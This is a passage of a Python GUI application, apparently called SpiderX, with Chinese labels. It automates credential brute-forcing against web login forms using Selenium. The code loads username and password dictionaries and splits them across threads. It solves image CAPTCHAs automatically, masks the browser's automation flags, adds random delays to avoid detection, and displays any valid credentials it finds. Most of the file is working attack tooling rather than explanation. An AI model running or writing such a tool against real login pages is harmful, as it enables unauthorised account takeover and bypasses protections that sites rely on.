16), 254 | anchor="w" 255 | ).grid(row=1, column=0, padx=5, pady=(10, 0), sticky="w") 256 | 257 | self.captcha_xpath_entry = ctk.CTkEntry(captcha_options) 258 | self.captcha_xpath_entry.grid(row=2, column=0, padx=5, pady=(0, 5), sticky="we") 259 | self.captcha_xpath_entry.insert(0, DEFAULT_CONFIG["captcha_xpath"]) 260 | 261 | # 验证码输入框XPath 262 | ctk.CTkLabel( 263 | captcha_options, 264 | text="验证码输入框XPath:", 265 | font=("Helvetica", 16), 266 | anchor="w" 267 | ).grid(row=3, column=0, padx=5, pady=(10, 0), sticky="w") 268 | 269 | self.captcha_input_xpath_entry = ctk.CTkEntry(captcha_options) 270 | self.captcha_input_xpath_entry.grid(row=4, column=0, padx=5, pady=(0, 5), sticky="we") 271 | self.captcha_input_xpath_entry.insert(0, DEFAULT_CONFIG["captcha_input_xpath"]) 272 | 273 | # 验证码刷新按钮XPath 274 | ctk.CTkLabel( 275 | captcha_options, 276 | text="验证码刷新按钮XPath:", 277 | font=("Helvetica", 16), 278 | anchor="w" 279 | ).grid(row=5, column=0, padx=5, pady=(10, 0), sticky="w") 280 | 281 | self.captcha_refresh_xpath_entry = ctk.CTkEntry(captcha_options) 282 | self.captcha_refresh_xpath_entry.grid(row=6, column=0, padx=5, pady=(0, 5), sticky="we") 283 | self.captcha_refresh_xpath_entry.insert(0, DEFAULT_CONFIG["captcha_refresh_xpath"]) 284 | 285 | current_row += 1 286 | 287 | # ========== 文件选择区域 ========== 288 | self.file_frame = ctk.CTkFrame(self.config_frame, fg_color="transparent") 289 | self.file_frame.grid(row=current_row + 1, column=0, pady=10, sticky="we") 290 | self.file_frame.grid_columnconfigure((0, 1), weight=1) 291 | 292 | self.user_file_btn = ctk.CTkButton( 293 | self.file_frame, 294 | text="选择用户名字典", 295 | command=lambda: self.select_file("username") 296 | ) 297 | self.user_file_btn.grid(row=0, column=0, padx=5, sticky="ew") 298 | 299 | self.pass_file_btn = ctk.CTkButton( 300 | self.file_frame, 301 | text="选择密码字典", 302 | command=lambda: self.select_file("password") 303 | ) 304 | self.pass_file_btn.grid(row=0, column=1, padx=5, sticky="ew") 305 | 306 | # ========== 控制按钮 ========== 307 | self.control_frame = ctk.CTkFrame(self.config_frame, fg_color="transparent") 308 | self.control_frame.grid(row=current_row + 2, column=0, pady=10, sticky="we") 309 | self.control_frame.grid_columnconfigure((0, 1), weight=1) 310 | 311 | self.start_btn = ctk.CTkButton( 312 | self.control_frame, 313 | text="▶ 开始扫描", 314 | fg_color="#4CAF50", 315 | hover_color="#45a049", 316 | command=self.start_scan 317 | ) 318 | self.start_btn.grid(row=0, column=0, padx=5, sticky="ew") 319 | 320 | self.stop_btn = ctk.CTkButton( 321 | self.control_frame, 322 | text="⏹ 停止扫描", 323 | fg_color="#f44336", 324 | hover_color="#da190b", 325 | state="disabled", 326 | command=self.stop_scan 327 | ) 328 | self.stop_btn.grid(row=0, column=1, padx=5, sticky="ew") 329 | 330 | # ========== 右侧显示面板 ========== 331 | self.display_frame = ctk.CTkFrame(self, corner_radius=10) 332 | self.display_frame.grid(row=0, column=1, padx=10, pady=10, sticky="nsew") 333 | self.display_frame.grid_columnconfigure(0, weight=1) 334 | self.display_frame.grid_rowconfigure(1, weight=1) 335 | 336 | # 状态栏 337 | self.status_bar = ctk.CTkFrame(self.display_frame, height=40) 338 | self.status_bar.grid(row=0, column=0, sticky="we", padx=10, pady=10) 339 | self.status_bar.grid_columnconfigure(0, weight=1) 340 | 341 | self.status_label = ctk.CTkLabel( 342 | self.status_bar, 343 | text="🟢 就绪", 344 | font=("Helvetica", 14) 345 | ) 346 | self.status_label.grid(row=0, column=0, sticky="w", padx=10) 347 | 348 | self.progress_label = ctk.CTkLabel( 349 | self.status_bar, 350 | text="尝试次数: 0", 351 | font=("Helvetica", 12) 352 | ) 353 | self.progress_label.grid(row=0, column=1, sticky="e", padx=10) 354 | 355 | # 添加错误统计显示 356 | self.error_stats_label = ctk.CTkLabel( 357 | self.status_bar, 358 | text="错误统计: 0", 359 | font=("Helvetica", 12) 360 | ) 361 | self.error_stats_label.grid(row=0, column=2, sticky="e", padx=10) 362 | 363 | # 添加公众号图标 364 | self.qr_frame = ctk.CTkFrame( 365 | self.status_bar, 366 | width=30, 367 | height=30, 368 | fg_color="transparent" 369 | ) 370 | self.qr_frame.grid(row=0, column=3, padx=(10, 5)) 371 | 372 | # 创建小图标标签 373 | self.info_label = ctk.CTkLabel( 374 | self.qr_frame, 375 | text="ℹ️", 376 | font=("Arial", 16), 377 | text_color="#4a9eff", 378 | cursor="hand2" 379 | ) 380 | self.info_label.pack(padx=5, pady=5) 381 | 382 | # 初始化变量 383 | self.qr_window = None 384 | 385 | # 绑定点击事件(改用点击而不是悬停) 386 | self.info_label.bind("", self.toggle_qr_code) 387 | 388 | # 日志区域 389 | self.log_area = ctk.CTkTextbox( 390 | self.display_frame, 391 | wrap="word", 392 | font=("Consolas", 10), 393 | scrollbar_button_color="#4a4a4a" 394 | ) 395 | self.log_area.grid(row=1, column=0, padx=10, pady=(0, 10), sticky="nsew") 396 | 397 | # 日志工具栏 398 | self.log_tools = ctk.CTkFrame(self.display_frame, height=30, fg_color="transparent") 399 | self.log_tools.grid(row=2, column=0, sticky="we", padx=10) 400 | 401 | self.clear_log_btn = ctk.CTkButton( 402 | self.log_tools, 403 | text="清空日志", 404 | width=80, 405 | command=self.clear_log 406 | ) 407 | self.clear_log_btn.pack(side="right", padx=5) 408 | 409 | def _load_default_files(self): 410 | """安全加载默认字典文件""" 411 | 412 | def load_file(file_type, file_path): 413 | try: 414 | if os.path.exists(file_path): 415 | with open(file_path, "r", encoding='utf-8') as f: 416 | content = f.read().splitlines() 417 | self.after(0, self._show_info, f"已加载{file_type}字典: {file_path} ({len(content)}条)") 418 | return content 419 | else: 420 | self.after(0, self._show_warning, f"默认{file_type}字典不存在: {file_path}") 421 | except Exception as e: 422 | self.after(0, self._show_error, f"加载{file_type}字典失败: {str(e)}") 423 | return [] 424 | 425 | global usernames, passwords 426 | usernames = load_file("用户名", DEFAULT_CONFIG["user_file"]) 427 | passwords = load_file("密码", DEFAULT_CONFIG["pass_file"]) 428 | 429 | def _show_info(self, message): 430 | """线程安全的日志信息显示""" 431 | if hasattr(self, 'log_area'): 432 | self.log_area.configure(state="normal") 433 | self.log_area.insert("end", f"[INFO] {message}\n") 434 | self.log_area.see("end") 435 | self.log_area.configure(state="disabled") 436 | 437 | def _show_warning(self, message): 438 | if hasattr(self, 'log_area'): 439 | self.log_area.configure(state="normal") 440 | self.log_area.insert("end", f"[WARN] {message}\n") 441 | self.log_area.see("end") 442 | self.log_area.configure(state="disabled") 443 | 444 | def _show_error(self, message): 445 | if hasattr(self, 'log_area'): 446 | self.log_area.configure(state="normal") 447 | self.log_area.insert("end", f"[ERROR] {message}\n") 448 | self.log_area.see("end") 449 | self.log_area.configure(state="disabled") 450 | 451 | def select_file(self, file_type): 452 | filename = tk.filedialog.askopenfilename( 453 | title=f"选择{file_type}文件", 454 | filetypes=(("文本文件", "*.txt"),) 455 | ) 456 | if filename: 457 | try: 458 | with open(filename, "r", encoding='utf-8') as f: 459 | content = f.read().splitlines() 460 | if file_type == "username": 461 | global usernames 462 | usernames = content 463 | else: 464 | global passwords 465 | passwords = content 466 | self._show_info(f"已加载 {file_type} 文件: {filename} ({len(content)}条)") 467 | except Exception as e: 468 | self._show_error(f"文件加载失败: {str(e)}") 469 | 470 | def clear_log(self): 471 | if hasattr(self, 'log_area'): 472 | self.log_area.configure(state="normal") 473 | self.log_area.delete("1.0", "end") 474 | self.log_area.configure(state="disabled") 475 | 476 | def start_scan(self): 477 | if not self.running: 478 | self.running = True 479 | self.start_btn.configure(state="disabled") 480 | self.stop_btn.configure(state="normal") 481 | self.status_label.configure(text="🔴 扫描进行中", text_color="#ff4444") 482 | 483 | url = self.url_entry.get() 484 | name_elem = self.name_xpath_entry.get() 485 | pass_elem = self.pass_xpath_entry.get() 486 | btn_elem = self.btn_xpath_entry.get() 487 | 488 | self.executor = concurrent.futures.ThreadPoolExecutor(max_workers=DEFAULT_CONFIG["threads"]) 489 | self.future = self.executor.submit( 490 | self.start_attack, 491 | url, 492 | name_elem, 493 | pass_elem, 494 | btn_elem 495 | ) 496 | 497 | def stop_scan(self): 498 | if self.running: 499 | self.running = False 500 | self.executor.shutdown(wait=False) 501 | self.start_btn.configure(state="normal") 502 | self.stop_btn.configure(state="disabled") 503 | self.status_label.configure(text="🟡 已停止", text_color="#ffd700") 504 | self._show_info("扫描已手动终止") 505 | numbers.reset() # 重置计数器 506 | 507 | def start_attack(self, url, name_elem, pass_elem, btn_elem): 508 | global USER, PWD 509 | start_time = time.time() 510 | login_success = False 511 | num_threads = DEFAULT_CONFIG["threads"] 512 | 513 | with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor: 514 | for username in usernames: 515 | if not self.running or login_success: 516 | break 517 | 518 | # 分割密码列表 519 | password_chunks = self.chunk_list(passwords, num_threads) 520 | 521 | # 为当前用户提交多个任务 522 | futures = [ 523 | executor.submit( 524 | self.process_password_chunk, 525 | username, 526 | chunk, 527 | url, 528 | name_elem, 529 | pass_elem, 530 | btn_elem 531 | ) for chunk in password_chunks 532 | ] 533 | 534 | try: 535 | for future in concurrent.futures.as_completed(futures): 536 | result = future.result() 537 | if result: 538 | USER, PWD = result 539 | login_success = True 540 | # 取消其他任务 541 | for f in futures: 542 | f.cancel() 543 | break 544 | except concurrent.futures.CancelledError: 545 | pass 546 | 547 | if login_success: 548 | break 549 | 550 | end_time = time.time() 551 | self._show_info(f"总耗时: {end_time - start_time:.2f} 秒") 552 | 553 | if login_success: 554 | self._show_info(f"✅ 登录成功! 用户名: {USER} 密码: {PWD}") 555 | self.after(0, self.show_success_alert) 556 | else: 557 | self._show_info("❌ 所有组合尝试完毕,未找到有效凭证") 558 | 559 | @staticmethod 560 | def chunk_list(lst, n): 561 | """将列表分割为n个近似相等的块""" 562 | k, m = divmod(len(lst), n) 563 | return [lst[i * k + min(i, m):(i + 1) * k + min(i + 1, m)] for i in range(n)] 564 | 565 | def process_password_chunk(self, username, password_chunk, url, name_elem, pass_elem, btn_elem): 566 | driver = None 567 | try: 568 | # 优化浏览器配置 569 | options = webdriver.ChromeOptions() 570 | 571 | # 基础配置 572 | options.add_argument("--no-sandbox") 573 | options.add_argument("--disable-dev-shm-usage") 574 | options.add_argument("--disable-gpu") 575 | options.add_argument("--disable-extensions") 576 | options.add_argument("--disable-infobars") 577 | 578 | # 性能优化 579 | options.add_argument("--disable-logging") 580 | options.add_argument("--disable-default-apps") 581 | options.add_argument("--disable-popup-blocking") 582 | options.add_argument("--disable-notifications") 583 | 584 | # 内存优化 585 | options.add_argument("--disable-application-cache") 586 | options.add_argument("--disable-web-security") 587 | options.add_argument("--disk-cache-size=1") 588 | options.add_argument("--media-cache-size=1") 589 | options.add_argument("--disable-gpu") 590 | options.add_argument('--no-sandbox') 591 | options.add_argument('--disable-dev-shm-usage') 592 | 593 | # 添加实验性选项 594 | options.add_experimental_option("excludeSwitches", ["enable-automation", "enable-logging"]) 595 | options.add_experimental_option("useAutomationExtension", False) 596 | 597 | # 根据配置决定是否使用无头模式 598 | if DEFAULT_CONFIG["headless"]: 599 | options.add_argument("--headless") 600 | 601 | # 创建服务对象 602 | service = webdriver.ChromeService( 603 | log_output=os.devnull 604 | ) 605 | 606 | # 创建驱动 607 | driver = webdriver.Chrome( 608 | options=options, 609 | service=service 610 | ) 611 | captcha_handler = CaptchaHandler() 612 | # 设置页面加载超时 613 | driver.set_page_load_timeout(DEFAULT_CONFIG["timeout"]) 614 | driver.set_script_timeout(DEFAULT_CONFIG["timeout"]) 615 | 616 | for password in password_chunk: 617 | if not self.running: 618 | break 619 | 620 | retry_count = 0 621 | max_retries = DEFAULT_CONFIG["captcha_retry_limit"] 622 | 623 | while retry_count < max_retries and self.running: 624 | try: 625 | # 访问目标URL 626 | driver.get(url) 627 | 628 | # 获取元素 629 | username_field = WebDriverWait(driver, 1).until( 630 | EC.presence_of_element_located((By.XPATH, name_elem)) 631 | ) 632 | password_field = WebDriverWait(driver, 1).until( 633 | EC.presence_of_element_located((By.XPATH, pass_elem)) 634 | ) 635 | submit_btn = WebDriverWait(driver, 1).until( 636 | EC.element_to_be_clickable((By.XPATH, btn_elem)) 637 | ) 638 | 639 | # 填充表单 640 | username_field.clear() 641 | username_field.send_keys(username) 642 | password_field.clear() 643 | password_field.send_keys(password) 644 | 645 | # 处理验证码(如果需要) 646 | if DEFAULT_CONFIG["has_captcha"]: 647 | captcha_success = self.handle_captcha(driver,captcha_handler) 648 | if not captcha_success: 649 | retry_count += 1 650 | self._show_info(f"验证码处理失败,重试第 {retry_count} 次") 651 | continue 652 | 653 | # 点击提交 654 | submit_btn.click() 655 | 656 | # 检查登录结果 657 | if self.check_login_success(driver,url): 658 | current_count = numbers.increment() 659 | self._show_info(f"尝试[{current_count}] 用户:{username} 密码:{password} 成功!!!") 660 | return (username, password) 661 | 662 | # 检查验证码错误 663 | if DEFAULT_CONFIG["has_captcha"] and self.check_captcha_error(driver): 664 | retry_count += 1 665 | self._show_info(f"验证码错误,重试第 {retry_count} 次: {username}:{password}") 666 | if retry_count < max_retries: 667 | self.refresh_captcha(driver) 668 | time.sleep(0.1) 669 | continue 670 | else: 671 | # 如果不是验证码错误,说明是密码错误 672 | current_count = numbers.increment() 673 | self._show_info(f"尝试[{current_count}] 用户:{username} 密码:{password} 错误") 674 | break # 密码错误,尝试下一个密码 675 | 676 | except Exception as e: 677 | self._show_error(f"登录尝试异常: {str(e)}") 678 | retry_count += 1 679 | if retry_count < max_retries: 680 | try: 681 | driver.refresh() 682 | 683 | except: 684 | pass 685 | continue 686 | else: 687 | break 688 | 689 | finally: 690 | time.sleep(random.uniform(DEFAULT_CONFIG["min_delay"], DEFAULT_CONFIG["max_delay"])) 691 | 692 | except Exception as e: 693 | self._show_error(f"浏览器操作失败: {str(e)}") 694 | finally: 695 | if driver: 696 | try: 697 | driver.quit() 698 | except: 699 | pass 700 | return None 701 | 702 | def check_captcha_error(self, driver): 703 | """检查是否为验证码错误""" 704 | try: 705 | # 检查页面中是否包含验证码错误的文本 706 | error_texts = ["验证码错误", "验证码不正确", "验证码输入有误", "验证码失效"] 707 | page_source = driver.page_source.lower() 708 | return any(text.lower() in page_source for text in error_texts) 709 | except Exception as e: 710 | logging.warning(f"验证码错误检查出现异常: {str(e)}") 711 | return False 712 | 713 | def refresh_captcha(self, driver): 714 | """刷新验证码""" 715 | try: 716 | # 尝试点击验证码图片来刷新 717 | try: 718 | captcha_img = driver.find_element(By.XPATH, DEFAULT_CONFIG["captcha_xpath"]) 719 | driver.execute_script("arguments[0].click();", captcha_img) 720 | time.sleep(0.1) 721 | return True 722 | except: 723 | pass 724 | 725 | # 如果点击失败,尝试刷新页面 726 | driver.refresh() 727 | # time.sleep(1) 728 | return True 729 | 730 | except Exception as e: 731 | self._show_error(f"刷新验证码失败: {str(e)}") 732 | return False 733 | 734 | def check_login_success(self,driver,url): 735 | try: 736 | 737 | #举例场景:错误登录页面跳转导致登录成功 738 | # driver.get(url) 739 | # 场景一: 登录成功后URL改变 740 | # print(driver.current_url) 741 | # time.sleep(0.2) 742 | # if 'login' not in driver.current_url or 'dashboard' in driver.current_url : 743 | # self._show_info("登录疑似成功,URL改变。") 744 | # return True 745 | if url!=driver.current_url: 746 | self._show_info("登录疑似成功,URL改变。") 747 | return True 748 | # 检查URL变化,假设登录成功后URL会包含某些关键字 749 | if '错误' in driver.page_source: 750 | return False 751 | # 场景三: 特殊元素(这为) 752 | success_message_elements = [ 753 | "//div[contains(text(), '欢迎')]", 754 | "//div[contains(text(), '成功')]", 755 | "//div[contains(@class, 'logged-in')]" 756 | ] 757 | for xpath in success_message_elements: 758 | try: 759 | element = driver.find_element(By.XPATH, xpath) 760 | if element.is_displayed(): 761 | self._show_info(f"登录成功,页面元素检测通过:{xpath}") 762 | return True 763 | except NoSuchElementException: 764 | continue 765 | 766 | # 检查是否还存在登录表单 767 | try: 768 | login_form = driver.find_element(By.XPATH, DEFAULT_CONFIG["name_xpath"]) 769 | if not login_form.is_displayed(): 770 | self._show_info("登录表单不可见,可能登录成功。") 771 | return True 772 | except NoSuchElementException: 773 | self._show_info("登录表单不可见,可能登录成功。") 774 | return True 775 | return False 776 | except Exception as e: 777 | self._show_error(f"检查登录成功时发生错误:{str(e)}") 778 | return False 779 | 780 | def _update_progress(self, count): 781 | self.progress_label.configure(text=f"尝试次数: {count}") 782 | 783 | def show_success_alert(self): 784 | """美观的成功提示弹窗""" 785 | success_win = ctk.CTkToplevel(self) 786 | success_win.title("🎉 登录成功") 787 | success_win.geometry("400x250") 788 | 789 | # 主容器 790 | main_frame = ctk.CTkFrame(success_win, corner_radius=15) 791 | main_frame.pack(expand=True, fill="both", padx=20, pady=20) 792 | 793 | # 图标部分 794 | icon_frame = ctk.CTkFrame(main_frame, fg_color="transparent") 795 | icon_frame.pack(pady=(15, 10)) 796 | ctk.CTkLabel( 797 | icon_frame, 798 | text="✅", 799 | font=("Arial", 32), 800 | text_color="#4CAF50" 801 | ).pack() 802 | 803 | # 信息部分 804 | info_frame = ctk.CTkFrame(main_frame, fg_color="transparent") 805 | info_frame.pack(pady=10) 806 | 807 | ctk.CTkLabel( 808 | info_frame, 809 | text="发现有效凭证", 810 | font=("Microsoft YaHei", 18, "bold"), 811 | text_color="#4CAF50" 812 | ).pack(pady=5) 813 | 814 | info_text = f"用户名:{USER}\n密码:{PWD}" 815 | ctk.CTkLabel( 816 | info_frame, 817 | text=info_text, 818 | font=("Consolas", 14), 819 | justify="left" 820 | ).pack(pady=10) 821 | 822 | # 操作按钮 823 | btn_frame = ctk.CTkFrame(main_frame, fg_color="transparent") 824 | btn_frame.pack(pady=(0, 15)) 825 | 826 | ctk.CTkButton( 827 | btn_frame, 828 | text="确 定", 829 | width=100, 830 | fg_color="#4CAF50", 831 | hover_color="#45a049", 832 | font=("Microsoft YaHei", 12), 833 | command=success_win.destroy 834 | ).pack() 835 | 836 | # 窗口设置 837 | success_win.resizable(False, False) 838 | success_win.grab_set() # 保持窗口置顶 839 | self.stop_scan() 840 | 841 | def handle_captcha(self,driver, captcha_handler): 842 | # """处理验证码识别流程""" 843 | retry_count = 0 844 | while retry_count < DEFAULT_CONFIG["captcha_retry_limit"]: 845 | try: 846 | # 等待验证码图片加载 847 | captcha_img = WebDriverWait(driver, DEFAULT_CONFIG["captcha_timeout"]).until( 848 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["captcha_xpath"])) 849 | ) 850 | 851 | # 等待图片完全加载 852 | # time.sleep(1) 853 | 854 | # 确保图片已完全加载 855 | try: 856 | is_loaded = driver.execute_script(""" 857 | var img = arguments[0]; 858 | return img.complete && img.naturalWidth !== 0; 859 | """, captcha_img) 860 | 861 | if not is_loaded: 862 | time.sleep(0.5) 863 | except: 864 | pass 865 | 866 | # 获取验证码图片 867 | try: 868 | image_data = captcha_img.screenshot_as_png 869 | except: 870 | img_src = captcha_img.get_attribute('src') 871 | if not img_src: 872 | logging.error("验证码图片源为空") 873 | retry_count += 1 874 | self.refresh_captcha(driver) # 只在获取失败时刷新 875 | # time.sleep(1) 876 | continue 877 | 878 | if img_src.startswith('data:image'): 879 | try: 880 | base64_data = img_src.split(',')[1] 881 | image_data = base64.b64decode(base64_data) 882 | except Exception as e: 883 | logging.error(f"Base64解码失败: {str(e)}") 884 | retry_count += 1 885 | self.refresh_captcha(driver) # 只在解码失败时刷新 886 | # time.sleep(1) 887 | continue 888 | else: 889 | try: 890 | response = requests.get(img_src, timeout=3) 891 | image_data = response.content 892 | except: 893 | logging.error("获取验证码图片失败") 894 | retry_count += 1 895 | self.refresh_captcha(driver) # 只在获取失败时刷新 896 | time.sleep(0.2) 897 | continue 898 | 899 | # 识别验证码 900 | captcha_text = captcha_handler.recognize_captcha(image_data) 901 | if not captcha_text: 902 | logging.warning("验证码识别结果为空") 903 | retry_count += 1 904 | self.refresh_captcha(driver) # 只在识别失败时刷新 905 | # time.sleep(1) 906 | continue 907 | 908 | # logging.info(f"识别到的验证码: {captcha_text}") 909 | 910 | # 填写验证码 911 | try: 912 | captcha_input = WebDriverWait(driver, 1).until( 913 | EC.presence_of_element_located((By.XPATH, DEFAULT_CONFIG["captcha_input_xpath"])) 914 | ) 915 | 916 | captcha_input.clear() 917 | captcha_input.send_keys(captcha_text) 918 | # time.sleep(0.2) 919 | return True # 成功输入验证码后直接返回 920 | 921 | except Exception as e: 922 | logging.error(f"验证码输入失败: {str(e)}") 923 | retry_count += 1 924 | self.refresh_captcha(driver) # 只在输入失败时刷新 925 | time.sleep(0.2) 926 | continue 927 | 928 | except Exception as e: 929 | logging.error(f"验证码处理失败: {str(e)}") 930 | retry_count += 1 931 | self.refresh_captcha(driver) # 只在处理失败时刷新 932 | time.sleep(0.2) 933 | continue 934 | 935 | return False 936 | 937 | def toggle_captcha(self): 938 | """切换验证码识别功能""" 939 | DEFAULT_CONFIG["has_captcha"] = self.captcha_enabled.get() 940 | # 更新配置 941 | DEFAULT_CONFIG["captcha_xpath"] = self.captcha_xpath_entry.get() 942 | DEFAULT_CONFIG["captcha_input_xpath"] = self.captcha_input_xpath_entry.get() 943 | DEFAULT_CONFIG["captcha_refresh_xpath"] = self.captcha_refresh_xpath_entry.get() 944 | 945 | if DEFAULT_CONFIG["has_captcha"]: 946 | self._show_info("已启用验证码识别") 947 | else: 948 | self._show_info("已禁用验证码识别") 949 | 950 | def show_error_dialog(self, title, error_type, error_msg): 951 | """显示错误弹窗""" 952 | error_win = ctk.CTkToplevel(self) 953 | error_win.title(title) 954 | error_win.geometry("400x200") 955 | 956 | # 主容器 957 | main_frame = ctk.CTkFrame(error_win, corner_radius=15) 958 | main_frame.pack(expand=True, fill="both", padx=20, pady=20) 959 | 960 | # 错误图标 961 | icon_frame = ctk.CTkFrame(main_frame, fg_color="transparent") 962 | icon_frame.pack(pady=(15, 10)) 963 | ctk.CTkLabel( 964 | icon_frame, 965 | text="❌", 966 | font=("Arial", 32), 967 | text_color="#f44336" 968 | ).pack() 969 | 970 | # 错误信息 971 | info_frame = ctk.CTkFrame(main_frame, fg_color="transparent") 972 | info_frame.pack(pady=10) 973 | 974 | ctk.CTkLabel( 975 | info_frame, 976 | text=error_type, 977 | font=("Microsoft YaHei", 18, "bold"), 978 | text_color="#f44336" 979 | ).pack(pady=5) 980 | 981 | ctk.CTkLabel( 982 | info_frame, 983 | text=error_msg, 984 | font=("Consolas", 12), 985 | justify="left", 986 | wraplength=300 # 文本自动换行 987 | ).pack(pady=10) 988 | 989 | # 确定按钮 990 | btn_frame = ctk.CTkFrame(main_frame, fg_color="transparent") 991 | btn_frame.pack(pady=(0, 15)) 992 | 993 | ctk.CTkButton( 994 | btn_frame, 995 | text="确 定", 996 | width=100, 997 | fg_color="#f44336", 998 | hover_color="#da190b", 999 | font=("Microsoft YaHei", 12), 1000 | command=error_win.destroy 1001 | ).pack() 1002 | 1003 | # 窗口设置 1004 | error_win.resizable(False, False) 1005 | error_win.grab_set() # 模态窗口 1006 | 1007 | # 计算居中位置 1008 | error_win.update_idletasks() # 更新窗口大小 1009 | width = error_win.winfo_width() 1010 | height = error_win.winfo_height() 1011 | x = (error_win.winfo_screenwidth() // 2) - (width // 2) 1012 | y = (error_win.winfo_screenheight() // 2) - (height // 2) 1013 | 1014 | # 设置窗口位置 1015 | error_win.geometry(f'+{x}+{y}') 1016 | error_win.focus_force() # 强制获取焦点 1017 | 1018 | def on_closing(self): 1019 | """处理窗口关闭事件""" 1020 | try: 1021 | if self.running: 1022 | self.stop_scan() 1023 | if self.executor: 1024 | self.executor.shutdown(wait=False) 1025 | self.quit() 1026 | except Exception as e: 1027 | self.show_error_dialog( 1028 | "❌ 程序错误", 1029 | "程序关闭异常", 1030 | f"错误信息:{str(e)}" 1031 | ) 1032 | sys.exit(1) 1033 | 1034 | def setup_logger(self): 1035 | """设置日志记录器""" 1036 | self.logger = logging.getLogger('error_logger') 1037 | self.logger.setLevel(logging.ERROR) 1038 | 1039 | # 创建错误日志文件处理器 1040 | error_handler = logging.FileHandler('error_logs.txt', encoding='utf-8') 1041 | error_handler.setLevel(logging.ERROR) 1042 | 1043 | # 设置日志格式 1044 | formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s') 1045 | error_handler.setFormatter(formatter) 1046 | 1047 | self.logger.addHandler(error_handler) 1048 | 1049 | def log_error(self, error_type, error_msg): 1050 | """记录错误并更新计数""" 1051 | try: 1052 | # 更新错误计数 1053 | if error_type in self.error_counter: 1054 | self.error_counter[error_type] += 1 1055 | 1056 | # 记录错误日志 1057 | self.logger.error(f"{error_type}: {error_msg}") 1058 | 1059 | # 更新界面显示 1060 | self.update_error_stats() 1061 | except Exception as e: 1062 | print(f"日志记录失败: {str(e)}") 1063 | 1064 | def update_error_stats(self): 1065 | """更新错误统计显示""" 1066 | total_errors = sum(self.error_counter.values()) 1067 | total_attempts = numbers.get_value() 1068 | 1069 | if total_attempts > 0: 1070 | error_rate = (total_errors / total_attempts) * 100 1071 | stats_text = ( 1072 | f"错误统计:\n" 1073 | f"网络错误: {self.error_counter['network_errors']}\n" 1074 | f"元素定位错误: {self.error_counter['xpath_errors']}\n" 1075 | f"验证码错误: {self.error_counter['captcha_errors']}\n" 1076 | f"浏览器错误: {self.error_counter['browser_errors']}\n" 1077 | f"其他错误: {self.error_counter['other_errors']}\n" 1078 | ) 1079 | 1080 | # 更新界面显示 1081 | self.error_stats_label.configure(text=stats_text) 1082 | 1083 | def toggle_qr_code(self, event=None): 1084 | """切换二维码显示状态""" 1085 | if self.qr_window: 1086 | self.hide_qr_code() 1087 | else: 1088 | self.show_qr_code() 1089 | 1090 | def show_qr_code(self): 1091 | """显示二维码窗口""" 1092 | try: 1093 | if self.qr_window: 1094 | return 1095 | 1096 | # 创建窗口 1097 | self.qr_window = ctk.CTkToplevel(self) 1098 | self.qr_window.title("扫码关注") 1099 | self.qr_window.geometry("200x240") # 先设置大小 1100 | 1101 | # 主框架 1102 | main_frame = ctk.CTkFrame(self.qr_window, corner_radius=10) 1103 | main_frame.pack(expand=True, fill="both", padx=5, pady=5) 1104 | 1105 | # 加载二维码图片 1106 | qr_path = os.path.join("resources", "qrcode.jpg") 1107 | if os.path.exists(qr_path): 1108 | img = Image.open(qr_path) 1109 | if img.mode != 'RGB': 1110 | img = img.convert('RGB') 1111 | 1112 | self.qr_image = ctk.CTkImage( 1113 | light_image=img, 1114 | dark_image=img, 1115 | size=(180, 180) 1116 | ) 1117 | 1118 | ctk.CTkLabel( 1119 | main_frame, 1120 | image=self.qr_image, 1121 | text="" 1122 | ).pack(pady=(10, 5)) 1123 | 1124 | ctk.CTkLabel( 1125 | main_frame, 1126 | text="扫码关注公众号(感谢感谢🐟)", 1127 | font=("Microsoft YaHei", 12) 1128 | ).pack(pady=5) 1129 | 1130 | # 窗口设置 1131 | self.qr_window.resizable(False, False) 1132 | self.qr_window.transient(self) 1133 | self.qr_window.grab_set() 1134 | 1135 | # 绑定关闭事件 1136 | self.qr_window.protocol("WM_DELETE_WINDOW", self.hide_qr_code) 1137 | 1138 | # 计算居中位置 1139 | self.qr_window.update_idletasks() # 更新窗口大小 1140 | window_width = self.qr_window.winfo_width() 1141 | window_height = self.qr_window.winfo_height() 1142 | 1143 | # 获取主窗口位置和大小 1144 | main_x = self.winfo_x() 1145 | main_y = self.winfo_y() 1146 | main_width = self.winfo_width() 1147 | main_height = self.winfo_height() 1148 | 1149 | # 计算居中坐标 1150 | x = main_x + (main_width - window_width) // 2 1151 | y = main_y + (main_height - window_height) // 2 1152 | 1153 | # 设置窗口位置 1154 | self.qr_window.geometry(f"+{x}+{y}") 1155 | 1156 | except Exception as e: 1157 | print(f"显示二维码失败: {str(e)}") 1158 | if self.qr_window: 1159 | self.qr_window.destroy() 1160 | self.qr_window = None 1161 | 1162 | def hide_qr_code(self): 1163 | """隐藏二维码窗口""" 1164 | try: 1165 | if hasattr(self, 'qr_image'): 1166 | del self.qr_image 1167 | if self.qr_window: 1168 | self.qr_window.destroy() 1169 | self.qr_window = None 1170 | except Exception as e: 1171 | print(f"隐藏二维码失败: {str(e)}") 1172 | 1173 | if __name__ == "__main__": 1174 | try: 1175 | logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') 1176 | app = LoginGUI() 1177 | # 设置图标 1178 | app.mainloop() 1179 | except Exception as e: 1180 | # 创建一个基础的错误窗口,因为GUI可能还未初始化 1181 | error_win = tk.Tk() 1182 | error_win.title('SpiderX') # 更改标题名字 1183 | error_win.geometry('400x450') 1184 | error_win.iconbitmap('spider.ico') 1185 | error_win.withdraw() # 隐藏主窗口 1186 | tk.messagebox.showerror( 1187 | "❌ 致命错误", 1188 | f"程序发生致命错误:\n\n请检查程序环境或联系开发者。" 1189 | ) 1190 | sys.exit(1) 1191 | --------------------------------------------------------------------------------